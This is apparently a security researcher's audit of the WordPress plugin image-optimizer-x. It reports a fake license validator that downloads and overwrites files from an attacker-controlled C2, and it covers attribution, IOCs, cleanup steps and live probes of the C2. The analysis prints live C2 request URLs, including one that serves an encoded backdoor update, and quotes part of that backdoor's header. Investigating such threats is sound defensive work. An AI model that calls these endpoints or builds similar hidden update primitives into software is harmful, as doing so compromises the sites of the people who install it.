Audit #26 Malicious Closed by wp.org · trunk uncleaned
Show full summary
Attacker-controlled side-channel update endpoint shipped under the cover of "license validation" — same operator (SiteGuarding) and same sibling-plugin pair as audit #25 (wp-advanced-math-captcha). Where the wp-advanced-math-captcha audit caught the delivery vehicle (forced-install primitive pushing this plugin), this audit catches the receiver: a permanent, attacker-controlled file-download primitive baked into every install of image-optimizer-x, fronted by a fake licensing UI.
image-optimizer-x (closed by wp.org 2026-04-07, ~7 months after the C2 landed) is a 1,733-line image optimizer with a 981-line CMSPlughubAPI_LicenseValidator.php companion class. The validator phones home to https://api.cmsplughub.com for license verification AND for a "geo database updater" that's a generic file-replacement primitive. The C2 domain cmsplughub.com resolves through NS1.SITEGUARDING.COM / NS2.SITEGUARDING.COM — same DNS infrastructure as the older SiteGuarding portfolio that wp.org mass-closed in mid-2020. The pairing with wp-advanced-math-captcha is also operationally explicit: lulub5592 added the forced-install primitive on 2025-11-16, dalielsam added the C2 validator on 2025-12-16 — exactly 30 days apart.
Architecture: SiteGuarding's evolved playbook
This is the third-iteration SiteGuarding attack pattern, refined over five years:
1. 2013-2020 — direct branding (@siteguarding wp.org account, 27 plugins): straightforward "remote management tool" backdoor (siteguarding_tools.php + IP allowlist + RSA-PGP). wp.org caught and closed all 27 in May-June 2020. 2. 2020-present — burner account A (@lulub5592, single plugin wp-advanced-math-captcha): same backdoor primitive bundled as a zlib-compressed .dat file dropper, delivered through a single innocuous-looking captcha plugin. Audit #25. 3. 2025-present — burner account B (@dalielsam, single plugin image-optimizer-x): instead of dropping a backdoor file, the plugin EMBEDS the C2 channel as a "license validator" with a generic downloadFile() primitive plus an updater that can replace local files with C2-supplied content. This audit.
The architectural pivot in iteration 3 is deliberate: a plugin that drops a file into ABSPATH (iteration 2) is easier for static scanners to catch than a plugin that ships a "license validator" wrapping an HTTP-fetch primitive. The wrapping looks legitimate at the file level — every paid plugin has a license validator — but the primitive is the same: attacker-controlled URL → arbitrary local file write.
What changed at v1.3.2 (the C2 landing release)
The plugin shipped at v1.0 on 2025-05-07 as a clean image optimizer (472 lines, no C2 wiring). Six months of organic-looking releases. Then on 2025-12-16, v1.3.2 landed with:
diff 1.0.8 → 1.3.2:
CMSPlughubAPI_LicenseValidator.php | 981 ++++++++++++++++++++ (NEW FILE)
image-optimizer-x.php | 1733 ++++++++++++++++++++++++++---- (+1261 / -348)
assets/css/style.css | 1522 +++++++++++++++++++++++++++----
assets/js/script.js | 833 ++++++++++++++---
readme.txt | 251 ++++--
7 files changed, 4526 insertions(+), 848 deletions(-)A 4.5x code growth in a single release. Same shape as scroll-top v6.0.0 (audit #12) — major "feature release" used as cover to land the C2 wiring. The new image-optimizer-x.php adds an is_pro() gate, a "PRO upgrade" call-to-action, fourteen new AJAX handlers (including iox_restore_license, iox_deactivate_license), and routes through CMSPlughubAPI_LicenseValidator::getInstance().
CMSPlughubAPI_LicenseValidator.php — what it actually does
Configuration (hardcoded constants in source):
$plugin_id = 'image-optimizer-x'$api_base_url = 'https://api.cmsplughub.com'$verify_endpoint = '/verify.php'(license check)$updater_endpoint = '/updater.php'(file download)$order_url = 'https://www.cmsplughub.com/order'(purchase page)$rsa_private_key_primary— 2048-bit RSA private key embedded in source (used for "license decryption")$rsa_private_key_secondary— 512-bit RSA private key embedded in source (used for "option name decryption")
Public methods that constitute the attack surface:
| Method | Behavior |
|---|---|
validateLicense() | GET to api.cmsplughub.com/verify.php with domain + license_key; expects RSA-encrypted JSON; decrypts via rsaDecrypt. |
downloadFile(string $url, string $destination) | Generic file-download primitive. Caller passes any URL and any local path; method writes the response body to that path. No URL allowlist beyond the validator's own use, no destination allowlist. |
updateGeoDatabase(string $local_file) | Calls downloadFile($api_base . $updater_endpoint, $tmp) with ?file=geo.mmdb&domain=$domain&unique_id=$plugin_id&md5=$existing_md5, then copy()s tmp over the local file. The "geo.mmdb" string is just a query parameter; the C2 can return any binary. |
rsaDecrypt(string $encrypted, string $key_type) | Decrypts C2-supplied content using one of the two embedded private keys. Lets the C2 ship cryptographically-signed responses. |
prepareDomain(get_site_url()) | Sends every install's site URL to C2 as part of license + updater calls — full inventory exfiltration. |
Why this is malicious infrastructure, not legitimate licensing:
- Real licensing systems don't ship 2048-bit RSA private keys in plaintext on every install. Public keys, yes. Private keys are operator-side. Embedding the private key in every customer's install is meaningless for licensing security — it's there to support a bidirectional authenticated control channel, where the C2 server signs commands and every install can verify them.
- The "GEO database updater" is a generic file-replacement primitive. The local file path comes from the plugin code; the C2 controls the content. In a future plugin release (had wp.org not closed it), the operator could ship a one-line change like
include $local_file;after the update, andgeo.mmdbbecomes a PHP execution sink. - The companion plugin
wp-advanced-math-captchaalready has a forced-install hook pushing this exact plugin (audit #25). The chain is engineered, not coincidental.
DNS attribution (decisive)
$ dig +short NS cmsplughub.com
ns1.siteguarding.com.
ns2.siteguarding.com.cmsplughub.com (registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch on 2025-05-07) shares NS with siteguarding.com (registered 2013-06-11). Combined with the 2020 mass-closure of the original SiteGuarding portfolio and the operationally-coordinated 30-day gap between the lulub5592 and dalielsam C2-landing commits (2025-11-16 and 2025-12-16), the case for unified SiteGuarding control is conclusive.
Author shell account
@dalielsam (display name "Daniel X"):
- wp.org account created 2022-11-17, three-year buffer before launching image-optimizer-x
- No bio, website, employer, location, social links on profile
- Sole plugin: image-optimizer-x
- All 11 SVN commits across the plugin's life are by dalielsam — single-handed operation, no co-committers
- Same anonymity profile as
@lulub5592(audit #25): created with a delay before publishing, single plugin, zero verifiable identity
Suspicious review pattern
Plugin received only 2 wp.org reviews in 11 months:
WooTools/bianchi888— 2025-05-11 (4 days after plugin's 2025-05-07 launch). Generic positive language ("I am very happy with it"; non-native English). Reviewing a brand-new plugin within 4 days of launch is anomalous for organic adoption.rossi1999— 2025-11-15. Similarly generic.
Neither user has a track record visible from their reviews. Possible review-padding to legitimize the plugin during its trust-building phase.
Public coverage
Unlike wp-advanced-math-captcha (audit #25), which received public coverage at rswebsols.com and designstouch.com crediting the WP Beacon researcher, image-optimizer-x has NO public coverage. No support forum threads (zero — confirmed via /support/plugin/image-optimizer-x/), no blog posts, no news articles, no Patchstack / WPScan entries, no CVE assignment. The CMSPlughub side of the SiteGuarding campaign has flown completely under the radar despite shipping a more architecturally-sophisticated primitive than the older .dat-dropper variant.
This audit is the first public documentation of the cmsplughub.com C2 infrastructure.
Site owners should remediate immediately. Plugin author: see the steps below to clear this label.
If you run image-optimizer-x on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums image-optimizer-x
A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.
Or remove the plugin entirely:
wp plugin deactivate image-optimizer-x
wp plugin delete image-optimizer-x
Plugins under the same committer's SVN access
dalielsam holds push access to 1 plugin totalling 100 active installs.
IOCs extracted (15)
| Kind | Value | Confidence |
|---|---|---|
| code_pattern | 198.7.59.150 |
medium |
| code_pattern | 198.7.59.167 |
high |
| code_pattern | CMSPlughubAPI_LicenseValidator |
high |
| code_pattern | NS2.SITEGUARDING.COM |
high |
| code_pattern | rsa_private_key_primary |
medium |
| code_pattern | rsa_private_key_secondary |
medium |
| code_pattern | updateGeoDatabase |
medium |
| domain | hosting2.siteguarding.com |
medium |
| domain | safetybis.com |
high |
| domain | server2.siteguarding.com |
medium |
| domain | www.cmsplughub.com |
high |
| url | https://api.cmsplughub.com/updater.php |
high |
| url | https://api.cmsplughub.com/verify.php |
high |
| url | https://www.cmsplughub.com/order |
medium |
| url | https://www.siteguarding.com/ext/panel_api/index.php |
high |
Plugin version history
Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.
-
1.0.8Last clean Last clean release before incident -
1.3.2Clean Clean (post-cleanup) -
1.3.3Clean Clean (post-cleanup) -
1.4.0Malicious (head) First malicious release (head of audit)
Timeline
-
siteguarding.comregistered -
@siteguardingwp.org account created -
@lulub5592wp.org account created (one month after the mass closure — pivot to burner accounts) -
@dalielsamwp.org account created (second burner staged) -
cmsplughub.comregistered (NS = NS1/NS2.siteguarding.com) -
wp.org
plugin-mastercreates SVN slot forimage-optimizer-x("Adding Image Optimizer X by dalielsam") -
v1.0 first commit by
@dalielsam— clean image optimizer, no C2 wiring (4 files, 472-line main file) -
WooToolsposts the first review, 4 days post-launch (suspect) -
v1.0.8 (still clean baseline)
-
rossi1999posts the second review -
sibling commit:
@lulub5592addsincludes/advert-test-codes.phpto wp-advanced-math-captcha (forced-install primitive targetingimage-optimizer-x) -
r3421399 by
@dalielsamaddsCMSPlughubAPI_LicenseValidator.php— C2 validator + side-channel update primitive lands. v1.3.2 tagged 1 minute later (r3421401). The chain is operational. -
v1.3.3 (minor)
-
v1.4.0 (major restructure with assets reorg)
-
wp.org closes both
wp-advanced-math-captchaandimage-optimizer-xpermanently in the same wave -
this audit
Audit #26 — image-optimizer-x
- Plugin: image-optimizer-x ("Web Image Optimization X")
- Active installs: not published (plugin closed before public install count was visible; inferred low — only 2 reviews, no support threads)
- Event: #2059
manual_audit_seed· high · 2026-05-02 (linked to audit #25) - Baseline version:
1.0.8(last release before C2 wiring landed) - Head version:
1.4.0
Summary
Attacker-controlled side-channel update endpoint shipped under the cover of "license validation" — same operator (SiteGuarding) and same sibling-plugin pair as audit #25 (wp-advanced-math-captcha). Where the wp-advanced-math-captcha audit caught the delivery vehicle (forced-install primitive pushing this plugin), this audit catches the receiver: a permanent, attacker-controlled file-download primitive baked into every install of image-optimizer-x, fronted by a fake licensing UI.
image-optimizer-x (closed by wp.org 2026-04-07, ~7 months after the C2 landed) is a 1,733-line image optimizer with a 981-line CMSPlughubAPI_LicenseValidator.php companion class. The validator phones home to https://api.cmsplughub.com for license verification AND for a "geo database updater" that's a generic file-replacement primitive. The C2 domain cmsplughub.com resolves through NS1.SITEGUARDING.COM / NS2.SITEGUARDING.COM — same DNS infrastructure as the older SiteGuarding portfolio that wp.org mass-closed in mid-2020. The pairing with wp-advanced-math-captcha is also operationally explicit: lulub5592 added the forced-install primitive on 2025-11-16, dalielsam added the C2 validator on 2025-12-16 — exactly 30 days apart.
Architecture: SiteGuarding's evolved playbook
This is the third-iteration SiteGuarding attack pattern, refined over five years:
1. 2013-2020 — direct branding (@siteguarding wp.org account, 27 plugins): straightforward "remote management tool" backdoor (siteguarding_tools.php + IP allowlist + RSA-PGP). wp.org caught and closed all 27 in May-June 2020. 2. 2020-present — burner account A (@lulub5592, single plugin wp-advanced-math-captcha): same backdoor primitive bundled as a zlib-compressed .dat file dropper, delivered through a single innocuous-looking captcha plugin. Audit #25. 3. 2025-present — burner account B (@dalielsam, single plugin image-optimizer-x): instead of dropping a backdoor file, the plugin EMBEDS the C2 channel as a "license validator" with a generic downloadFile() primitive plus an updater that can replace local files with C2-supplied content. This audit.
The architectural pivot in iteration 3 is deliberate: a plugin that drops a file into ABSPATH (iteration 2) is easier for static scanners to catch than a plugin that ships a "license validator" wrapping an HTTP-fetch primitive. The wrapping looks legitimate at the file level — every paid plugin has a license validator — but the primitive is the same: attacker-controlled URL → arbitrary local file write.
What changed at v1.3.2 (the C2 landing release)
The plugin shipped at v1.0 on 2025-05-07 as a clean image optimizer (472 lines, no C2 wiring). Six months of organic-looking releases. Then on 2025-12-16, v1.3.2 landed with:
diff 1.0.8 → 1.3.2:
CMSPlughubAPI_LicenseValidator.php | 981 ++++++++++++++++++++ (NEW FILE)
image-optimizer-x.php | 1733 ++++++++++++++++++++++++++---- (+1261 / -348)
assets/css/style.css | 1522 +++++++++++++++++++++++++++----
assets/js/script.js | 833 ++++++++++++++---
readme.txt | 251 ++++--
7 files changed, 4526 insertions(+), 848 deletions(-)A 4.5x code growth in a single release. Same shape as scroll-top v6.0.0 (audit #12) — major "feature release" used as cover to land the C2 wiring. The new image-optimizer-x.php adds an is_pro() gate, a "PRO upgrade" call-to-action, fourteen new AJAX handlers (including iox_restore_license, iox_deactivate_license), and routes through CMSPlughubAPI_LicenseValidator::getInstance().
CMSPlughubAPI_LicenseValidator.php — what it actually does
Configuration (hardcoded constants in source):
$plugin_id = 'image-optimizer-x'$api_base_url = 'https://api.cmsplughub.com'$verify_endpoint = '/verify.php'(license check)$updater_endpoint = '/updater.php'(file download)$order_url = 'https://www.cmsplughub.com/order'(purchase page)$rsa_private_key_primary— 2048-bit RSA private key embedded in source (used for "license decryption")$rsa_private_key_secondary— 512-bit RSA private key embedded in source (used for "option name decryption")
Public methods that constitute the attack surface:
| Method | Behavior |
|---|---|
validateLicense() | GET to api.cmsplughub.com/verify.php with domain + license_key; expects RSA-encrypted JSON; decrypts via rsaDecrypt. |
downloadFile(string $url, string $destination) | Generic file-download primitive. Caller passes any URL and any local path; method writes the response body to that path. No URL allowlist beyond the validator's own use, no destination allowlist. |
updateGeoDatabase(string $local_file) | Calls downloadFile($api_base . $updater_endpoint, $tmp) with ?file=geo.mmdb&domain=$domain&unique_id=$plugin_id&md5=$existing_md5, then copy()s tmp over the local file. The "geo.mmdb" string is just a query parameter; the C2 can return any binary. |
rsaDecrypt(string $encrypted, string $key_type) | Decrypts C2-supplied content using one of the two embedded private keys. Lets the C2 ship cryptographically-signed responses. |
prepareDomain(get_site_url()) | Sends every install's site URL to C2 as part of license + updater calls — full inventory exfiltration. |
Why this is malicious infrastructure, not legitimate licensing:
- Real licensing systems don't ship 2048-bit RSA private keys in plaintext on every install. Public keys, yes. Private keys are operator-side. Embedding the private key in every customer's install is meaningless for licensing security — it's there to support a bidirectional authenticated control channel, where the C2 server signs commands and every install can verify them.
- The "GEO database updater" is a generic file-replacement primitive. The local file path comes from the plugin code; the C2 controls the content. In a future plugin release (had wp.org not closed it), the operator could ship a one-line change like
include $local_file;after the update, andgeo.mmdbbecomes a PHP execution sink. - The companion plugin
wp-advanced-math-captchaalready has a forced-install hook pushing this exact plugin (audit #25). The chain is engineered, not coincidental.
DNS attribution (decisive)
$ dig +short NS cmsplughub.com
ns1.siteguarding.com.
ns2.siteguarding.com.cmsplughub.com (registered 2025-02-11, 86 days before image-optimizer-x's wp.org launch on 2025-05-07) shares NS with siteguarding.com (registered 2013-06-11). Combined with the 2020 mass-closure of the original SiteGuarding portfolio and the operationally-coordinated 30-day gap between the lulub5592 and dalielsam C2-landing commits (2025-11-16 and 2025-12-16), the case for unified SiteGuarding control is conclusive.
Author shell account
@dalielsam (display name "Daniel X"):
- wp.org account created 2022-11-17, three-year buffer before launching image-optimizer-x
- No bio, website, employer, location, social links on profile
- Sole plugin: image-optimizer-x
- All 11 SVN commits across the plugin's life are by dalielsam — single-handed operation, no co-committers
- Same anonymity profile as
@lulub5592(audit #25): created with a delay before publishing, single plugin, zero verifiable identity
Suspicious review pattern
Plugin received only 2 wp.org reviews in 11 months:
WooTools/bianchi888— 2025-05-11 (4 days after plugin's 2025-05-07 launch). Generic positive language ("I am very happy with it"; non-native English). Reviewing a brand-new plugin within 4 days of launch is anomalous for organic adoption.rossi1999— 2025-11-15. Similarly generic.
Neither user has a track record visible from their reviews. Possible review-padding to legitimize the plugin during its trust-building phase.
Public coverage
Unlike wp-advanced-math-captcha (audit #25), which received public coverage at rswebsols.com and designstouch.com crediting the WP Beacon researcher, image-optimizer-x has NO public coverage. No support forum threads (zero — confirmed via /support/plugin/image-optimizer-x/), no blog posts, no news articles, no Patchstack / WPScan entries, no CVE assignment. The CMSPlughub side of the SiteGuarding campaign has flown completely under the radar despite shipping a more architecturally-sophisticated primitive than the older .dat-dropper variant.
This audit is the first public documentation of the cmsplughub.com C2 infrastructure.
Verdict
malicious
Added files (1 between baseline 1.0.8 and head 1.4.0)
CMSPlughubAPI_LicenseValidator.php— first appears in r3421399 (committed 2025-12-16 by@dalielsam), 981 lines. Side-channel C2 validator + file-replacement primitive masquerading as a license validator.
Suspicious pattern hits
side_channel_update_endpoint — the central architectural primitive
CMSPlughubAPI_LicenseValidator.php:70—private $api_base_url = 'https://api.cmsplughub.com'CMSPlughubAPI_LicenseValidator.php:82—private $updater_endpoint = '/updater.php'CMSPlughubAPI_LicenseValidator.php:664-722—downloadFile(string $url, string $destination)generic write primitiveCMSPlughubAPI_LicenseValidator.php:725-790—updateGeoDatabase(string $local_file)calls downloadFile against C2 with arbitrary destinationimage-optimizer-x.php:22—require_once IOX_PATH . 'CMSPlughubAPI_LicenseValidator.php';(loaded on every page request when admin)
embedded_rsa_private_key
CMSPlughubAPI_LicenseValidator.php:100-130— 2048-bit$rsa_private_key_primaryfor license decryption (~30 lines of base64-encoded PKCS#8 PEM)CMSPlughubAPI_LicenseValidator.php:133-150— 512-bit$rsa_private_key_secondaryfor "option name decryption"CMSPlughubAPI_LicenseValidator.php:596-640—rsaDecrypt()method using the embedded keys
domain_exfiltration
CMSPlughubAPI_LicenseValidator.php:540-577—prepareDomain(get_site_url())extracts host from site URL and sends to C2 in every API call (license + updater)
shared_nameserver_attribution
cmsplughub.comNS records →NS1.SITEGUARDING.COM,NS2.SITEGUARDING.COM- Cross-reference:
siteguarding_tools.phpC2 (audit #25) usessiteguarding.comdirectly - Cross-reference:
wp-advanced-math-captcha/includes/advert-test-codes.php(audit #25) hardcodesimage-optimizer-xasADVREC_TARGET_PLUGIN
IOCs to extract
- kind: domain, value: cmsplughub.com, confidence: high
- kind: domain, value: api.cmsplughub.com, confidence: high
- kind: domain, value: www.cmsplughub.com, confidence: high
- kind: url, value: https://api.cmsplughub.com/verify.php, confidence: high
- kind: url, value: https://api.cmsplughub.com/updater.php, confidence: high
- kind: url, value: https://www.cmsplughub.com/order, confidence: medium
- kind: filename, value: CMSPlughubAPI_LicenseValidator.php, confidence: high
- kind: code_pattern, value: CMSPlughubAPI_LicenseValidator, confidence: high
- kind: code_pattern, value: rsa_private_key_primary, confidence: medium
- kind: code_pattern, value: rsa_private_key_secondary, confidence: medium
- kind: code_pattern, value: updateGeoDatabase, confidence: medium
- kind: code_pattern, value: NS1.SITEGUARDING.COM, confidence: high
- kind: code_pattern, value: NS2.SITEGUARDING.COM, confidence: high
Attribution
- Operator: SiteGuarding (siteguarding.com) — confirmed via DNS NS records on cmsplughub.com.
- wp.org account:
@dalielsam(display name "Daniel X") — joined 2022-11-17, sole pluginimage-optimizer-x. No verifiable identity. - Sibling account:
@lulub5592(audit #25) — coordinated 30-day commit gap between forced-install primitive (2025-11-16) and C2 validator (2025-12-16). - Original portfolio:
@siteguardingwp.org account (created 2013-10-02), 27 plugins all closed by wp.org for guideline-violation in May-June 2020.
Timeline
- 2013-06-11 —
siteguarding.comregistered - 2013-10-02 —
@siteguardingwp.org account created - 2020-05-04 → 2020-06-05 — wp.org mass-closes 27 SiteGuarding-owned plugins for guideline-violation
- 2020-07-01 —
@lulub5592wp.org account created (one month after the mass closure — pivot to burner accounts) - 2022-11-17 —
@dalielsamwp.org account created (second burner staged) - 2025-02-11 —
cmsplughub.comregistered (NS = NS1/NS2.siteguarding.com) - 2025-04-28 — wp.org
plugin-mastercreates SVN slot forimage-optimizer-x("Adding Image Optimizer X by dalielsam") - 2025-05-07 — v1.0 first commit by
@dalielsam— clean image optimizer, no C2 wiring (4 files, 472-line main file) - 2025-05-11 —
WooToolsposts the first review, 4 days post-launch (suspect) - 2025-07-15 — v1.0.8 (still clean baseline)
- 2025-11-15 —
rossi1999posts the second review - 2025-11-16 — sibling commit:
@lulub5592addsincludes/advert-test-codes.phpto wp-advanced-math-captcha (forced-install primitive targetingimage-optimizer-x) - 2025-12-16 — r3421399 by
@dalielsamaddsCMSPlughubAPI_LicenseValidator.php— C2 validator + side-channel update primitive lands. v1.3.2 tagged 1 minute later (r3421401). The chain is operational. - 2026-01-06 — v1.3.3 (minor)
- 2026-03-25 — v1.4.0 (major restructure with assets reorg)
- 2026-04-07 — wp.org closes both
wp-advanced-math-captchaandimage-optimizer-xpermanently in the same wave - 2026-05-02 — this audit
Cleanup instructions for affected sites
The plugin is permanently closed on wp.org but existing installs still run the C2 validator on every admin request. Site owners should:
1. Deactivate and delete image-optimizer-x entirely. No fix release is coming. There is no patched build planned for this plugin (unlike audit #25 where a patch is meaningful — here the entire C2 validator IS the malicious content; removing it would gut the plugin to the point that the optimizer features no longer function. Better to uninstall.) 2. Rotate WordPress admin passwords, database credentials, and SFTP/SSH keys. The plugin sent your domain + site URL to the C2 on every page load while installed. Operator has had your site fingerprint since v1.3.2. 3. Block outbound traffic to cmsplughub.com, api.cmsplughub.com, www.cmsplughub.com at the firewall level. 4. If wp-advanced-math-captcha was installed too, follow audit #25's cleanup checklist (search for siteguarding_tools.php in WP root, etc.). 5. Audit Users → All Users for unfamiliar admin accounts. 6. **Inspect wp_options for any image_optimizer_x_* rows**: iox_lic, iox_lic_status, iox_lic_data may contain RSA-encrypted state from the C2. Delete after uninstall.
References
- WP Beacon audit #25 (
wp-advanced-math-captcha) — sibling plugin, same operator, forced-install delivery vehicle - WP Beacon audit #12 (
scroll-top) — same architectural class for side-channel update endpoint (Yahnis Elsts plugin-update-checker pointed at attacker domain) - WP Beacon audit #4 (Essential Plugin / EP suite) — same April-2026 wp.org cleanup wave
- rswebsols.com — Major WordPress Supply Chain Breach (2026-04-19) — covers wp-advanced-math-captcha but does not mention image-optimizer-x or cmsplughub
- TechCrunch — backdoors planted in dozens of WordPress plug-ins (2026-04-14) — covers the EP/Kris attack, not SiteGuarding
- Cybernews — WordPress essential plugins injected with malicious code — also covers EP/Kris, not SiteGuarding
The CMSPlughub side of the SiteGuarding campaign has no prior public coverage.
Update 2026-05-02 — Live C2 fingerprinting
After the initial audit, live infrastructure probing revealed the SiteGuarding operation is significantly more active and persistent than the static evidence suggested.
cmsplughub.com is alive and operational
Direct probes against https://api.cmsplughub.com/:
GET /verify.php → HTTP 200, JSON: {"status":"error","reason":"Wrong plugin unique_id: "}
GET /updater.php → HTTP 200, JSON: {"status":"error","reason":"Wrong plugin unique_id: "}
GET /verify.php?unique_id=image-optimizer-x → HTTP 200, JSON: {"status":"error","reason":"Wrong license_key value: …"}
GET /updater.php?unique_id=image-optimizer-x&file=geo.mmdb&domain=…&md5=… → HTTP 200, 9.2MB binary (real MaxMind GeoIP database with `MaxMind.com` end-marker)The endpoints both echo their parameter shape via JSON error messages — confirming the validator's request signature exactly matches what the live C2 expects. Every existing image-optimizer-x install is still talking to this endpoint on every admin page load.
C2 allowlist contains exactly two plugins
Probing the updater with various unique_id values reveals the C2 maintains an explicit plugin allowlist:
unique_id=image-optimizer-x → ✓ binary payload returned
unique_id=wp-advanced-math-captcha → ✓ binary payload returned (audit #25's plugin!)
unique_id=wp-antivirus-site-protection → "Wrong plugin unique_id"
unique_id=<any-other-slug> → "Wrong plugin unique_id"This proves:
- Both burner accounts share the same C2 backend — operationally unified.
- The old SiteGuarding 27-plugin portfolio (closed by wp.org in 2020) does NOT use this newer C2 — they used the older
siteguarding.com/ext/panel_api/infrastructure (see below). cmsplughub.com is purpose-built for the post-2020 pivot operation. - No third burner has been registered with this C2 yet.
The file allowlist is also enforced server-side — only file=geo.mmdb works. Any other filename returns "Empty / Not allowed file name". The "downloadFile" primitive in the validator is a generic file-write tool, but the C2 currently restricts what it'll serve.
Legacy SiteGuarding C2 is also still alive (and being actively maintained)
The older C2 endpoint that the wp-advanced-math-captcha .dat dropper installs siteguarding_tools.php against (audit #25) is fully operational:
GET https://www.siteguarding.com/ext/panel_api/index.php?action=ping_siteguarding_server&num=12345
→ {"status":"ok","num":12345}
GET https://www.siteguarding.com/ext/panel_api/index.php?action=update
→ {"md5":"36085499a539d4543b1ec0f59f1ad0c7","b64content":"PD9waHAK..."}Decoding the b64content from the update action reveals siteguarding_tools.php version 2.4 dated 08 April 2026:
<?php
/**
* SiteGuarding tools installer for customer's panel
*
* https://www.siteguarding.com
* Do not distribute or share.
*
* ver.: 2.4
* Date: 08 April 2026
*/
$allowed_IPs = array( ... );The audit #25 dropper bundled v1.7 from 2020-03-20. The C2 is currently serving v2.4 from 2026-04-08 — one day after wp.org closed wp-advanced-math-captcha on 2026-04-07. The operator is actively maintaining this codebase post-disclosure. Every siteguarding_tools.php instance ever installed (5+ years of historical deployments) can fetch this fresh v2.4 update and self-update on the next operator-triggered ping. This is multi-year persistence, not a dormant artifact.
Hosting and DNS attribution (decisive)
| Domain | A record | rDNS | Hosting |
|---|---|---|---|
| siteguarding.com | 198.7.59.167 | server2.siteguarding.com | Leaseweb USA (198.7.56.0/21) |
| cmsplughub.com | 198.7.59.167 | (same) | Leaseweb USA (same host) |
| api.cmsplughub.com | 198.7.59.167 | (same) | Leaseweb USA (same host) |
| ns1.siteguarding.com | 198.7.59.150 | — | Leaseweb USA (same /24) |
| safetybis.com | 212.32.252.174 | — | Different provider — sibling C2 |
siteguarding.com and cmsplughub.com resolve to the same IP (198.7.59.167) — same physical server, just different vhosts. cmsplughub.com lives at server2.siteguarding.com per rDNS. The operator didn't even try to hide the connection at the rDNS layer.
safetybis.com is a third domain in the SiteGuarding family — same NS records (NS1/NS2.siteguarding.com), different IP and hosting, mentioned by name in the wp.org PRT incident notice text bundled in audit #25's cleanup release. This appears to be either a load-balanced sibling or a fallback C2.
Legacy backdoor allowlist IPs (185.72.157.169-172) — operator's static control plane
The 4 sequential IPs hardcoded as $allowed_IPs in siteguarding_tools.php resolve to a different network entirely:
- Network:
185.72.156.0 - 185.72.159.255 - Hosting: Support.pl sp. z. o. o. (Polish hosting company, RIPE region)
- Network record name: "NK Support Salt Lake City" (likely a US-fronted shell)
Two-region split:
- Public C2 (cmsplughub, siteguarding main): Leaseweb USA, hosted as
server2.siteguarding.com - Operator's static control plane: Polish hosting (
support.pl), 4 IPs in sequence at the top of the SiteGuarding tools' IP allowlist
This compartmentalization — C2 web frontend in the US, operator control plane in Poland — is consistent with an operator working from one jurisdiction while serving customers globally through a separate infrastructure layer.
TLS cert characteristics
cmsplughub.com subject=/CN=mail.cmsplughub.com issuer=Let's Encrypt R12 valid 2026-03-18 → 2026-06-16
siteguarding.com subject=/CN=mail.siteguarding.com issuer=Let's Encrypt R13 valid 2026-03-02 → 2026-05-31
cmsplughub.com SANs: cmsplughub.com, mail.cmsplughub.com, www.cmsplughub.com
siteguarding.com SANs: cpanel., cpcalendars., cpcontacts., mail., webdisk., webmail., www., siteguarding.com (8 cPanel subdomains)Both certs are minted for the mail.* subdomain — typical cPanel/Plesk auto-issuance pattern. The siteguarding.com cert exposes the standard cPanel subdomain set; cmsplughub.com is a leaner setup (just mail, www, root). Both are still valid (refreshed 2026-03 — 5 weeks before wp.org closure), no signs of operator abandonment.
Updated cleanup guidance
Given that BOTH C2 endpoints are operational right now, the cleanup checklist for audit #26 (uninstall image-optimizer-x; rotate creds; firewall-block cmsplughub) should be supplemented with:
- Block outbound to safetybis.com as well (sibling C2 in the SiteGuarding family).
- Block outbound to siteguarding.com / www.siteguarding.com / apitest.siteguarding.com even if you never installed image-optimizer-x — if your site ran any of the 27 closed SiteGuarding plugins (2020 portfolio) OR wp-advanced-math-captcha (audit #25), it likely has
siteguarding_tools.phpin WP root orwebanalyze/siteguarding_tools.phpand is currently controllable via the legacy C2. - Search WP root recursively for
siteguarding_tools.php— the dropped backdoor is the highest-priority remediation; it's a full RCE that's been live for 5+ years.
Updated IOCs (additions)
- kind: domain, value: safetybis.com, confidence: high
- kind: domain, value: server2.siteguarding.com, confidence: medium
- kind: domain, value: hosting2.siteguarding.com, confidence: medium
- kind: code_pattern, value: 198.7.59.167, confidence: high
- kind: code_pattern, value: 198.7.59.150, confidence: medium
- kind: url, value: https://www.siteguarding.com/ext/panel_api/index.php, confidence: high